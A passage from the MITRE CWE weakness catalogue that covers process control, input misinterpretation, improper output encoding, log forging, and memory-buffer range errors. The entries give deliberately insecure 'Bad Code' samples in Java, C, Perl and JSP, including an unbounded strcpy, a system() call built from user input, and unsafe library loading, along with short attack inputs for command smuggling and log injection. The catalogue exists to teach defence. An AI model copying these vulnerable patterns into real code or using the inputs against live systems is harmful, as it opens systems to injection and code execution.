Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Relationships**

Nature	Type	ID	Name	W	Page
ChildOf		20	Improper Input Validation	<b>700</b>	18
CanPrecede		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	1000	131
ChildOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	<b>1000</b>	172
ChildOf		442	Web Problems	<b>699</b>	755
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command	<b>888</b>	1388
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**Theoretical Notes**

HTTP response splitting is probably only multi-factor in an environment that uses intermediaries.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		HTTP response splitting
7 Pernicious Kingdoms		HTTP Response Splitting
WASC	25	HTTP Response Splitting
Software Fault Patterns	SFP24	Tainted input to command

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
34	HTTP Response Splitting	

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
63	Simple Script Injection	
85	AJAX Fingerprinting	

## References

OWASP. "OWASP TOP 10". < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.  
 [REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 2: Web-Server Related Vulnerabilities (XSS, XSRF, and Response Splitting)." Page 31. McGraw-Hill. 2010.

# CWE-114: Process Control

Weakness ID: 114 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

Executing commands or loading libraries from an untrusted source or in an untrusted environment can cause an application to execute malicious commands (and payloads) on behalf of an attacker.

### Extended Description

Process control vulnerabilities take two forms: 1. An attacker can change the command that the program executes: the attacker explicitly controls what the command is. 2. An attacker can change the environment in which the command executes: the attacker implicitly controls what the command means. Process control vulnerabilities of the first type occur when either data enters the application from an untrusted source and the data is used as part of a string representing a command that is executed by the application. By executing the command, the application gives an attacker a privilege or capability that the attacker would not otherwise have.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Execute unauthorized code or commands

### Demonstrative Examples

#### Example 1:

The following code uses `System.loadLibrary()` to load code from a native library named `library.dll`, which is normally found in a standard system directory.

#### Java Example:

*Bad Code*

```
...
System.loadLibrary("library.dll");
...
```

The problem here is that `System.loadLibrary()` accepts a library name, not a path, for the library to be loaded. From the Java 1.4.2 API documentation this function behaves as follows [1]: A file containing native code is loaded from the local file system from a place where library files are conventionally obtained. The details of this process are implementation-dependent. The mapping from a library name to a specific filename is done in a system-specific manner. If an attacker is able to place a malicious copy of `library.dll` higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's `library.dll` will now be run with elevated privileges, possibly giving them complete control of the system.

#### Example 2:

The following code from a privileged application uses a registry entry to determine the directory in which it is installed and loads a library file based on a relative path from the specified directory.

**C Example:**

*Bad Code*

```
...
RegQueryValueEx(hkey, "APPHOME",
0, 0, (BYTE*)home, &size);
char* lib=(char*)malloc(strlen(home)+strlen(INITLIB));
if (lib) {
    strcpy(lib,home);
    strcat(lib,INITCMD);
    LoadLibrary(lib);
}
...
```

The code in this example allows an attacker to load an arbitrary library, from which code will be executed with the elevated privilege of the application, by modifying a registry key to specify a different path containing a malicious version of INITLIB. Because the program does not validate the value read from the environment, if an attacker can control the value of APPHOME, they can fool the application into running malicious code.

**Example 3:**

The following code is from a web-based administration utility that allows users access to an interface through which they can update their profile on the system. The utility makes use of a library named liberty.dll, which is normally found in a standard system directory.

**C Example:**

*Bad Code*

```
LoadLibrary("liberty.dll");
```

The problem is that the program does not specify an absolute path for liberty.dll. If an attacker is able to place a malicious library named liberty.dll higher in the search order than file the application intends to load, then the application will load the malicious copy instead of the intended file. Because of the nature of the application, it runs with elevated privileges, which means the contents of the attacker's liberty.dll will now be run with elevated privileges, possibly giving the attacker complete control of the system. The type of attack seen in this example is made possible because of the search order used by LoadLibrary() when an absolute path is not specified. If the current directory is searched before system directories, as was the case up until the most recent versions of Windows, then this type of attack becomes trivial if the attacker can execute the program locally. The search order is operating system version dependent, and is controlled on newer operating systems by the value of the registry key: HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

**Potential Mitigations**

**Architecture and Design**

**Libraries or Frameworks**

Libraries that are loaded should be well understood and come from a trusted source. The application can execute code contained in the native libraries, which often contain calls that are susceptible to other security problems, such as buffer overflows or command injection. All native libraries should be validated to determine if the application requires the use of the library. It is very difficult to determine what these native libraries actually do, and the potential for malicious code is high. In addition, the potential for an inadvertent mistake in these native libraries is also high, as many are written in C or C++ and may be susceptible to buffer overflow or race condition problems. To help prevent buffer overflow attacks, validate all input to native calls for content and length. If the native library does not come from a trusted source, review the source code of the library. The library should be built from the reviewed source before using it.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>700</b> <b>1000</b>	18
ChildOf		634	Weaknesses that Affect System Processes	<b>631</b>	982

Nature	Type	ID	Name	▣	Page
ChildOf	<b>C</b>	991	SFP Secondary Cluster: Tainted Input to Environment	<b>888</b>	1390

#### Affected Resources

- System Process

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	Process Control

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
108	Command Line Execution through SQL Injection	

## CWE-115: Misinterpretation of Input

Weakness ID: 115 (Weakness Base) Status: Incomplete

#### Description

##### Summary

The software misinterprets an input, whether from an attacker or another product, in a security-relevant fashion.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Integrity

##### Unexpected state

#### Observed Examples

Reference	Description
CVE-2001-0003	Product does not correctly import and process security settings from another product.
CVE-2005-2225	Product sees dangerous file extension in free text of a group discussion, disconnects all users.

#### Relationships

Nature	Type	ID	Name	▣	Page
ChildOf	<b>B</b>	436	Interpretation Conflict	<b>699</b>	749
ChildOf	<b>C</b>	977	SFP Secondary Cluster: Design	<b>888</b>	1382

#### Research Gaps

This concept needs further study. It is likely a factor in several weaknesses, possibly resultant as well. Overlaps Multiple Interpretation Errors (MIE).

#### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Misinterpretation Error

## CWE-116: Improper Encoding or Escaping of Output

Weakness ID: 116 (Weakness Class) Status: Draft

#### Description

##### Summary

The software prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.

**Extended Description**

Improper encoding or escaping can allow attackers to change the commands that are sent to another component, inserting malicious commands instead.

Most software follows a certain protocol that uses structured messages for communication between components, such as queries or commands. These structured messages can contain raw data interspersed with metadata or control information. For example, "GET /index.html HTTP/1.1" is a structured message containing a command ("GET") with a single argument ("/index.html") and metadata about which protocol version is being used ("HTTP/1.1").

If an application uses attacker-supplied inputs to construct a structured message without properly encoding or escaping, then the attacker could insert special characters that will cause the data to be interpreted as control information or metadata. Consequently, the component that receives the output will perform the wrong operations, or otherwise interpret the data incorrectly.

**Alternate Terms****Output Sanitization****Output Validation****Output Encoding****Terminology Notes**

The usage of the "encoding" and "escaping" terms varies widely. For example, in some programming languages, the terms are used interchangeably, while other languages provide APIs that use both terms for different tasks. This overlapping usage extends to the Web, such as the "escape" JavaScript function whose purpose is stated to be encoding. Of course, the concepts of encoding and escaping predate the Web by decades. Given such a context, it is difficult for CWE to adopt a consistent vocabulary that will not be misinterpreted by some constituency.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms****Languages**

- All

**Technology Classes**

- Database-Server (*Often*)
- Web-Server (*Often*)

**Common Consequences****Integrity****Confidentiality****Availability****Access Control****Modify application data****Execute unauthorized code or commands****Bypass protection mechanism**

The communications between components can be modified in unexpected ways. Unexpected commands can be executed, bypassing other security mechanisms. Incoming data can be misinterpreted.

**Likelihood of Exploit**

Very High

**Detection Methods****Automated Static Analysis****Moderate**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

## Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

### Demonstrative Examples

#### Example 1:

This code displays an email address that was submitted as part of a form.

##### JSP Example:

*Bad Code*

```
<% String email = request.getParameter("email"); %>
...
Email Address: <%= email %>
```

The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79).

#### Example 2:

Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a "|" character.

##### Perl Example:

*Bad Code*

```
$inputString = readLineFromFileHandle($serverFH);
# generate an array of strings separated by the "|" character.
@commands = split(/\|/, $inputString);
foreach $cmd (@commands) {
    # separate the operator from its arguments based on a single whitespace
    ($operator, $args) = split(/ /, $cmd, 2);
    $args = UriDecode($args);
    if ($operator eq "BAN") {
        ExecuteBan($args);
    }
    elsif ($operator eq "SAY") {
        ExecuteSay($args);
    }
}
```

In this code, the web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.

##### Perl Example:

*Bad Code*

```
$inputString = GetUntrustedArgument("command");
($cmd, $argstr) = split(/\s+/, $inputString, 2);
# removes extra whitespace and also changes CRLF's to spaces
$argstr =~ s/\s+//gs;
$argstr = UriEncode($argstr);
if (($cmd eq "BAN") && (! IsAdministrator($username))) {
    die "Error: you are not the admin.\n";
}
# communicate with file server using a file handle
$fh = GetServerFileHandle("myserver");
print $fh "$cmd $argstr\n";
```

It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UriEncode function could leave the "|" character intact. If an attacker provides:

*Attack*

```
SAY hello world|BAN user12
```



then the front end will see this is a "SAY" command, and the \$argstr will look like "hello world | BAN user12". Since the command is "SAY", the check for the "BAN" command will fail, and the front end will send the URL-encoded command to the back end:

Result

```
SAY hello%20world|BAN%20user12
```

The back end, however, will treat these as two separate commands:

Result

```
SAY hello world
BAN user12
```

Notice, however, that if the front end properly encodes the "|" with "%7C", then the back end will only process a single command.

### Example 3:

This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.

#### Perl Example:

Bad Code

```
sub GetUntrustedInput {
    return($ARGV[0]);
}
sub encode {
    my($str) = @_ ;
    $str =~ s/\&/&gs;
    $str =~ s/"/&quot;/gs;
    $str =~ s/'/&apos;/gs;
    $str =~ s/</&lt;/gs;
    $str =~ s/>/&gt;/gs;
    return($str);
}
sub doit {
    my $uname = encode(GetUntrustedInput("username"));
    print "<b>Welcome, $uname!</b><p>\n";
    system("cd /home/$uname; /bin/ls -l");
}
```

The programmer attempts to encode dangerous characters, however the blacklist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77).

Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:

Attack

```
'pwd
```

then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection.

### Observed Examples

Reference	Description
CVE-2008-0005	Program does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-0757	Cross-site scripting in chat application via a message, which normally might be allowed to contain arbitrary content.
CVE-2008-0769	Web application does not set the charset when sending a page to a browser, allowing for XSS exploitation when a browser chooses an unexpected encoding.
CVE-2008-3773	Cross-site scripting in chat application via a message subject, which normally might contain "&" and other XSS-related characters.

Reference	Description
CVE-2008-4636	OS command injection in backup software using shell metacharacters in a filename; correct behavior would require that this filename could not be changed.
CVE-2008-5573	SQL injection via password parameter; a strong password might contain "&"

## Potential Mitigations

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.116.1] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

### Architecture and Design

#### Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

### Architecture and Design

#### Implementation

Understand the context in which your data will be used and the encoding that will be expected.

This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

### Architecture and Design

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

### Architecture and Design

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

### Requirements

Fully specify which encodings are required by components that will be communicating with each other.

### Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

## Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		19	Data Handling	699	18
CanPrecede		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	1000	113
ChildOf		707	Improper Enforcement of Message or Data Structure	1000	1107

Nature	Type	ID	Name	V	Page
ChildOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	1142
ChildOf	C	845	CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)	844	1291
ChildOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1318
ChildOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1390
ParentOf	B	117	<i>Improper Output Neutralization for Logs</i>	699 1000	223
ParentOf	V	644	<i>Improper Neutralization of HTTP Headers for Scripting Syntax</i>	699 1000	999
ParentOf	B	838	<i>Inappropriate Encoding for Output Context</i>	699 1000	1277

### Relationship Notes

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

### Research Gaps

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

### Theoretical Notes

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	22	Improper Output Handling
CERT Java Secure Coding	IDS00-J	Sanitize untrusted data passed across a trust boundary
CERT Java Secure Coding	IDS12-J	Perform lossless conversion of String data between differing character encodings
CERT Java Secure Coding	IDS05-J	Use a subset of ASCII for file and path names
CERT C++ Secure Coding	MSC09-CPP	Character Encoding - Use Subset of ASCII for Safety
CERT C++ Secure Coding	MSC10-CPP	Character Encoding - UTF8 Related Issues

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
18	Embedding Scripts in Non-Script Elements	
63	Simple Script Injection	
73	User-Controlled Filename	
81	Web Logs Tampering	
85	AJAX Fingerprinting	
86	Embedding Script (XSS) in HTTP Headers	
104	Cross Zone Scripting	

## References

- [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.
- Joshbw. "Output Sanitization". 2008-09-18. < <http://www.analyticalengine.net/archives/58> >.
- Niyaz PK. "Sanitizing user data: How and where to do it". 2008-09-11. < <http://www.diovo.com/2008/09/sanitizing-user-data-how-and-where-to-do-it/> >.
- Jeremiah Grossman. "Input validation or output filtering, which is better?". 2007-01-30. < <http://jeremiahgrossman.blogspot.com/2007/01/input-validation-or-output-filtering.html> >.
- Jim Manico. "Input Validation - Not That Important". 2008-08-10. < <http://manicode.blogspot.com/2008/08/input-validation-not-that-important.html> >.
- Michael Eddington. "Preventing XSS with Correct Output Encoding". < <http://phed.org/2008/05/19/preventing-xss-with-correct-output-encoding/> >.
- [REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 11, "Canonical Representation Issues" Page 363. 2nd Edition. Microsoft. 2002.

# CWE-117: Improper Output Neutralization for Logs

**Weakness ID:** 117 (*Weakness Base*)**Status:** Draft

## Description

### Summary

The software does not neutralize or incorrectly neutralizes output that is written to logs.

### Extended Description

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

- Data enters an application from an untrusted source.
- The data is written to an application or system log file.

## Time of Introduction

- Implementation

## Applicable Platforms

### Languages

- All

## Common Consequences

### Integrity

### Confidentiality

### Availability

### Non-Repudiation

### Modify application data

### Hide activities

### Execute unauthorized code or commands

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker's tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.

## Likelihood of Exploit

Medium

## Demonstrative Examples

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

**Java Example:***Bad Code*

```
String val = request.getParameter("val");
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...
```

If a user submits the string "twenty-one" for val, the following entry is logged:

```
INFO: Failed to parse val=twenty-one
```

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

```
INFO: Failed to parse val=twenty-one
```

```
INFO: User logged out=badguy
```

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

**Observed Examples**

Reference	Description
CVE-2006-4624	Chain: inject fake log entries with fake timestamps using CRLF injection

**Potential Mitigations****Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation****Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Implementation****Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Background Details**

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

### Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		20	Improper Input Validation	700	18
ChildOf		116	Improper Encoding or Escaping of Output	699	217
				1000	
ChildOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	1118
ChildOf		963	SFP Secondary Cluster: Exposed Data	888	1377
CanFollow		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	1000	172
MemberOf		884	CWE Cross-section	884	1319

### Causal Nature

**Explicit** (an explicit weakness resulting from behavior of the developer)

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Log Forging
Software Fault Patterns	SFP23	Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
81	Web Logs Tampering	
93	Log Injection-Tampering-Forging	
106	Cross Site Scripting through Log Files	

### References

G. Hoglund and G. McGraw. "Exploiting Software: How to Break Code". Addison-Wesley. February 2004.

A. Muffet. "The night the log was forged". < [http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10\\_05.htm](http://doc.novsu.ac.ru/oreilly/tcpip/puis/ch10_05.htm) >.

OWASP. "OWASP TOP 10". < [http://www.owasp.org/index.php/Top\\_10\\_2007](http://www.owasp.org/index.php/Top_10_2007) >.

## CWE-118: Improper Access of Indexable Resource ('Range Error')

**Weakness ID:** 118 (*Weakness Class*) **Status:** Incomplete

### Description

#### Summary

The software does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- All

### Common Consequences

#### Other

Varies by context

### Relationships



Nature	Type	ID	Name	V	Page
ChildOf	C	19	Data Handling	699	18
ChildOf	C	970	SFP Secondary Cluster: Faulty Buffer Access	888	1380
ParentOf	C	119	<i>Improper Restriction of Operations within the Bounds of a Memory Buffer</i>	699 1000	226
MemberOf	V	1000	<i>Research Concepts</i>	1000	1402

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP8	Faulty Buffer Access

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
8	Buffer Overflow in an API Call	
9	Buffer Overflow in Local Command-Line Utilities	
10	Buffer Overflow via Environment Variables	
14	Client-side Injection-induced Buffer Overflow	
24	Filter Failure through Buffer Overflow	
45	Buffer Overflow via Symbolic Links	
46	Overflow Variables and Tags	
47	Buffer Overflow via Parameter Expansion	

## CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Weakness ID: 119 (Weakness Class)

Status: Usable

### Description

#### Summary

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

#### Extended Description

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

### Alternate Terms

#### Memory Corruption

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

### Time of Introduction

- Architecture and Design
- Implementation
- Operation

### Applicable Platforms

#### Languages

- C (Often)
- C++ (Often)
- Assembly
- Languages without memory management support

#### Platform Notes

## Common Consequences

### Integrity

### Confidentiality

### Availability

#### Execute unauthorized code or commands

#### Modify memory

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.

If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

### Availability

### Confidentiality

### Read memory

#### DoS: crash / exit / restart

#### DoS: resource consumption (CPU)

#### DoS: resource consumption (memory)

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

### Confidentiality

### Read memory

In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

## Likelihood of Exploit

High

## Detection Methods

### Automated Static Analysis

#### High

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

### Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode Quality Analysis

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source Code Quality Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

**C Example:**

Bad Code

```

void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}

```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**

This example applies an encoding procedure to an input string and stores it into a buffer.

**C Example:**

Bad Code

```

char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++){
        if ( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ( '<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}

```

